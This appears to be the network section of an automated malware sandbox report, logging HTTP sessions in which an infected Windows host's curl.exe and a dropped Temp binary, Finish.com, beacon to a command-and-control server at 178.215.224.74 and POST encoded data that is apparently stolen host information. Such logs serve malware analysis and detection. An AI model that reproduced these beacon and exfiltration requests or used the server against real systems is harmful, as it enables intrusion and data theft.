Nov 24, 2024 12:05:34.878555059 CET	108	IN	Data Raw: 6b 31 34 4c 53 74 7a 56 6b 38 34 64 44 4a 34 55 58 5a 4b 62 32 5a 6d 4e 32 6b 74 63 48 42 43 64 6c 4a 73 4e 6e 64 4d 56 69 63 7a 5a 6e 42 5a 65 6b 74 4a 51 55 56 74 51 44 52 4f 64 44 45 74 4a 7a 46 7a 51 32 78 76 54 43 74 50 61 57 49 35 5a 43 63 Data Ascii: k14LStzVk84dDJ4UXZKb2ZmN2ktcHBCdlJsNndMViczZnBZektJQUVtQDROdDEtJzFzQ2xvTCtPaWI5ZCctVUZkVS14Vktna0FDNmxMOi0vK
Nov 24, 2024 12:05:34.878593922 CET	1236	IN	Data Raw: 30 35 53 5a 6e 74 4f 55 47 46 42 64 56 46 42 51 54 56 2f 4d 56 4a 6c 57 30 5a 30 50 32 52 44 63 30 35 53 65 48 52 45 5a 6d 35 64 4e 53 6b 7a 56 32 6b 76 4d 31 68 6a 59 56 4a 62 53 46 46 42 52 47 31 31 56 55 31 44 51 55 5a 73 57 47 46 4b 51 55 4e Data Ascii: 05SZntOUGFBdVFBQTV/MVJlW0Z0P2RDc05SeHREZm5dNSkzV2kvM1hjYVJbSFFBRG11VU1DQUZsWGFKQUNLQUJzNkRSbUZHaUNBRkRyWmQzLyc2UkBCRGcpe05AQUNOam1DMEdBQUtIQXNHSUNnOEFHV0ZmbTlFQUNBQ0hDcUVBQ1ZtUkNCREZySnc4Q0lGdkxsQXE/KzFXU2NMQUpTSUxtYFVPQUFGbnAxLXotLzQxSkBGQlU2
Nov 24, 2024 12:05:34.878609896 CET	1236	IN	Data Raw: 32 52 73 52 6e 64 44 51 55 30 34 62 6d 39 35 64 45 51 74 4c 33 70 51 53 46 4e 5a 64 6e 55 32 54 55 52 37 4c 79 63 72 54 69 6c 45 62 47 59 7a 53 6c 4e 4f 59 55 35 72 53 46 46 42 52 47 31 4d 52 30 56 42 53 55 52 75 55 46 5a 6f 62 6d 59 32 53 6c 64 Data Ascii: 2RsRndDQU04bm95dEQtL3pQSFNZdnU2TUR7LycrTilEbGYzSlNOYU5rSFFBRG1MR0VBSURuUFZobmY2SldMLXBeR2VrQ0E2VGtQQUNMLUZZQ0FTQURyTGc4Q0FOUG1tZkwtLzBtemktRm1tUEwtJzBvaWE7aGdqLU4tLTBtVmsnYm1qdk4vLzJqUThHSUNhdXptaUMwQ0FBKzFCJzkzNlBmW0c6Q2h4MGt1c0V3Q11DKzNKdGRR
Nov 24, 2024 12:05:34.998260975 CET	1236	IN	Data Raw: 6c 4a 57 63 30 4e 45 54 46 6f 76 65 6c 63 32 5a 31 56 42 51 32 46 58 56 55 6c 48 4f 6b 39 59 61 45 68 44 51 30 4e 44 52 69 39 6d 62 6d 49 74 5a 6c 46 6f 62 30 68 45 4f 45 46 42 53 33 35 31 54 79 39 4f 4d 6c 4a 5a 62 47 59 76 52 47 78 6d 4d 30 42 Data Ascii: lJWc0NETFovelc2Z1VBQ2FXVUlHOk9YaEhDQ0NDRi9mbmItZlFob0hEOEFBS351Ty9OMlJZbGYvRGxmM0BRWi0zWGE2TGB0Ly0tLTFvWENsR0xIWmR1SkFDQ0M0eG5vQ0RKQ0NHaEFzRUFBYUNJdVJ3Qm1AQ0FDQVA5MzlYL1VlOFFXNnp0LWRkanM5K2phQ2VBQV4tOzkrRWpbajJDQTRYMDtDQUFEeEF3NVhnSVJoVE1PQ0FE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49915	178.215.224.74	80	3772	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:40.454709053 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:41.692329884 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:41 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49920	178.215.224.74	80	3876	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:42.619935989 CET	93	OUT	GET /v10/ukyh.php?gi HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:43.955971003 CET	211	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:43 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 11 Content-Type: text/html; charset=UTF-8 Data Raw: 38 2e 34 36 2e 31 32 33 2e 37 35 Data Ascii: 8.46.123.75

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49925	178.215.224.74	80	6064	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:44.626692057 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:45.929018974 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:45 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49930	178.215.224.74	80	5544	C:\Users\user\AppData\Local\Temp\768032\Finish.com

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:46.246402979 CET	541	OUT	POST /v10/ukyh.php HTTP/1.1 Accept: text/* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 247 Cache-Control: no-cache Data Raw: 6a 73 70 6f 3d 34 33 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 4d 54 41 74 4d 44 35 5a 51 46 31 4c 52 6c 6c 49 58 54 6f 73 4e 6a 51 73 4d 7a 49 78 4a 6a 38 33 57 55 42 66 4d 54 41 75 4d 44 45 33 4d 6a 67 79 57 30 42 64 51 54 68 63 56 58 46 6c 63 6e 4e 65 59 57 52 6d 62 57 78 7a 58 45 4e 77 63 6b 5a 6a 64 47 4e 65 54 6d 39 6a 59 57 35 55 56 6d 56 74 65 46 34 31 50 6a 67 79 4d 54 42 65 52 47 74 75 61 33 74 67 4c 47 46 76 62 31 74 41 58 55 4d 36 58 46 64 37 5a 33 4a 7a 58 47 4e 75 5a 6d 39 73 63 31 78 42 63 6e 42 4d 59 58 5a 6a 58 45 78 74 59 32 4e 75 58 6c 52 6e 62 33 4a 63 4e 7a 59 36 4f 44 45 79 58 45 35 72 62 47 46 7a 61 69 78 68 62 57 38 25 33 44 Data Ascii: jspo=43&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=MTAtMD5ZQF1LRllIXTosNjQsMzIxJj83WUBfMTAuMDE3MjgyW0BdQThcVXFlcnNeYWRmbWxzXENwckZjdGNeTm9jYW5UVmVteF41PjgyMTBeRGtua3tgLGFvb1tAXUM6XFd7Z3JzXGNuZm9sc1xBcnBMYXZjXExtY2NuXlRnb3JcNzY6ODEyXE5rbGFzaixhbW8%3D
Nov 24, 2024 12:05:47.596132040 CET	199	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:47 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49934	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:47.851183891 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:49.114867926 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:48 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49939	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:49.459774971 CET	134	OUT	GET /v10/ukyh.php?jspo=33&jwvs=4CA966315CCC70F4BEF0FE322EDE46 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:50.818061113 CET	240	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:50 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 40 Content-Type: text/html; charset=UTF-8 Data Raw: 4d 53 70 53 5a 33 35 6e 62 6e 56 74 52 6d 64 2b 61 57 46 6e 63 53 78 6e 65 6d 56 43 53 47 35 6a 62 6e 4e 6e 51 44 45 3d Data Ascii: MSpSZ35nbnVtRmd+aWFncSxnemVCSG5jbnNnQDE=

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49944	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:51.052460909 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:52.362545967 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:52 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49947	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:52.670052052 CET	140	OUT	GET /v10/ukyh.php?jspo=3&jwvs=4CA966315CCC70F4BEF0FE322EDE46&vprl=2 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:53.976739883 CET	199	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:53 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49957	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:56.294596910 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:05:57.614417076 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:05:57 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49964	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:05:59.524944067 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:00.794481039 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:00 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 4e 33 78 32 62 57 46 6d Data Ascii: N3x2bWFm

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49970	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:01.304518938 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:02.564130068 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:02 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49971	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:01.309434891 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:02.575341940 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:02 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49976	178.215.224.74	80	5544	C:\Users\user\AppData\Local\Temp\768032\Finish.com

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:03.063842058 CET	815	OUT	POST /v10/ukyh.php HTTP/1.1 Accept: text/* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 521 Cache-Control: no-cache Data Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 4d 54 41 77 4b 44 30 6f 57 30 42 56 4d 7a 49 34 4b 6a 4d 79 4d 6a 4d 7a 4b 44 45 31 4d 43 59 77 4d 7a 55 73 4d 6a 49 30 4c 6a 63 30 57 55 68 66 4d 54 41 7a 4b 44 4d 77 4d 6a 49 31 4b 6c 4a 6e 64 6d 31 75 64 32 64 45 5a 58 52 70 59 57 64 78 4c 6d 64 36 5a 31 74 41 58 54 4d 34 4d 69 6f 78 4f 44 49 7a 4f 53 6f 7a 4e 54 6f 73 4d 44 4d 31 4c 44 6f 36 4e 69 77 33 4e 6c 74 41 58 54 49 71 4d 6a 49 39 4b 45 4d 36 58 46 64 78 5a 58 4a 78 58 47 46 73 5a 47 39 6d 63 31 35 44 63 48 42 47 59 58 5a 6a 58 6b 78 74 59 57 4e 73 58 48 52 6e 5a 58 4a 63 55 6d 31 30 5a 32 5a 31 5a 30 5a 6e 64 47 74 68 5a 58 45 6d 62 58 70 6e 57 30 4a 64 4f 43 6f 78 4d 44 4d 6f 53 7a 68 63 56 58 4e 6e 63 48 4e 63 59 32 78 6d 62 32 78 7a 56 45 46 79 63 6b 52 68 64 6d 46 65 54 6d 31 6a 59 32 35 65 64 47 56 74 63 6c 52 51 5a 58 5a 74 62 48 64 74 52 47 64 30 61 32 46 6e 63 53 35 6e 63 47 31 5a 51 [TRUNCATED] Data Ascii: jspo=34&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=MTAwKD0oW0BVMzI4KjMyMjMzKDE1MCYwMzUsMjI0Ljc0WUhfMTAzKDMwMjI1KlJndm1ud2dEZXRpYWdxLmd6Z1tAXTM4MioxODIzOSozNTosMDM1LDo6Niw3NltAXTIqMjI9KEM6XFdxZXJxXGFsZG9mc15DcHBGYXZjXkxtYWNsXHRnZXJcUm10Z2Z1Z0ZndGthZXEmbXpnW0JdOCoxMDMoSzhcVXNncHNcY2xmb2xzVEFyckRhdmFeTm1jY25edGVtclRQZXZtbHdtRGd0a2FncS5ncG1ZQl0zMDAqNipbQlUzMDAqMzIwMTMqMTc6LjoxNywyMjYuNTZZQF8zMjAqMTI4MzMqOTdZSF0zMjIoMzIwMzkiMzU4LDIxNS4yMjYmNTRbQF8zMDMoMTAyMjIiUmd0ZW53ZUZndGlhZ3EuZXhnU0JdMTgyKDkwMjMzKDM1OCw6OTcsMjA0Ljc0W0Bf
Nov 24, 2024 12:06:04.381767035 CET	199	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:04 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49977	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:03.113019943 CET	93	OUT	GET /v10/ukyh.php?gi HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:04.363940001 CET	211	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:04 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 11 Content-Type: text/html; charset=UTF-8 Data Raw: 38 2e 34 36 2e 31 32 33 2e 37 35 Data Ascii: 8.46.123.75

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49979	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:05.154268026 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:06.410665989 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:06 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49985	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:06.076149940 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:07.327986956 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:07 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49986	178.215.224.74	80	5544	C:\Users\user\AppData\Local\Temp\768032\Finish.com

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:06.920037985 CET	728	OUT	POST /v10/ukyh.php HTTP/1.1 Accept: text/* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 434 Cache-Control: no-cache Data Raw: 6a 73 70 6f 3d 39 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 59 57 78 6d 62 57 5a 78 57 30 42 56 54 56 45 6f 54 6d 4e 76 5a 7a 67 69 49 69 41 69 4b 43 67 69 49 69 41 69 49 43 41 67 49 43 41 67 49 69 67 69 54 57 6c 6a 63 47 31 7a 62 32 52 30 49 46 64 72 62 6d 78 76 64 58 45 67 4d 54 49 67 55 6e 42 74 57 30 4a 66 4d 7a 41 75 4d 44 4d 25 32 46 4d 6a 41 77 55 30 4a 66 4f 44 59 30 4e 44 63 30 57 55 4a 64 51 54 4a 55 56 33 46 6c 63 48 4e 63 59 57 78 6d 62 32 78 37 58 6b 46 77 63 45 5a 6a 64 47 46 65 54 47 39 6a 59 32 78 55 56 47 64 76 63 46 77 31 4e 6a 6f 79 4d 54 4a 65 52 47 74 75 61 58 4e 71 4a 6d 46 76 62 56 4e 43 58 30 73 36 58 6c 64 78 5a 33 42 78 58 47 4e 6b 62 6d 31 73 63 31 35 42 63 48 42 45 59 58 52 6a 56 45 35 76 59 32 46 75 58 6c 52 6c 62 33 42 63 4e 7a 51 34 4f 44 4d 77 58 6b 5a 70 62 47 6c 78 61 69 78 6a 62 57 39 5a 51 46 30 78 4d 69 55 77 4e 6c 74 49 58 30 46 4d 57 30 4a 66 64 6e 42 33 5a 31 74 43 56 57 35 6a [TRUNCATED] Data Ascii: jspo=9&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=YWxmbWZxW0BVTVEoTmNvZzgiIiAiKCgiIiAiICAgICAgIigiTWljcG1zb2R0IFdrbmxvdXEgMTIgUnBtW0JfMzAuMDM%2FMjAwU0JfODY0NDc0WUJdQTJUV3FlcHNcYWxmb2x7XkFwcEZjdGFeTG9jY2xUVGdvcFw1NjoyMTJeRGtuaXNqJmFvbVNCX0s6XldxZ3BxXGNkbm1sc15BcHBEYXRjVE5vY2FuXlRlb3BcNzQ4ODMwXkZpbGlxaixjbW9ZQF0xMiUwNltIX0FMW0JfdnB3Z1tCVW5jbnNnW0BdOC40NCYzMjMuNTdbQF9bQF1BOlRVcWdyc15hbmRtbnFeQ3BwRGN8Y1xSZ2NvYW5lXkZtbnJoa2ZMd29wcQ%3D%3D
Nov 24, 2024 12:06:08.264122009 CET	199	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:08 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49991	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:08.235279083 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:09.594404936 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:09 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49993	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:08.748045921 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:10.095940113 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:09 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49999	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:11.217077017 CET	140	OUT	GET /v10/ukyh.php?jspo=3&jwvs=4CA966315CCC70F4BEF0FE322EDE46&vprl=2 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:12.559952021 CET	199	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:12 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	50004	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:12.622910023 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:13.967916965 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:13 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	50010	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:15.200854063 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:16.480266094 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:16 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	50017	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:18.044914007 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:19.358442068 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:19 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	50021	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:19.615078926 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:20.936778069 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:20 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	50022	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:22.381680012 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:23.703572035 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:23 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	50023	178.215.224.252	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:23.726880074 CET	98	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.252 User-Agent: curl/7.83.1 Accept: /

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	50024	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:23.933331013 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:25.283814907 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:25 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	50025	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:25.827071905 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:27.128097057 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:26 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

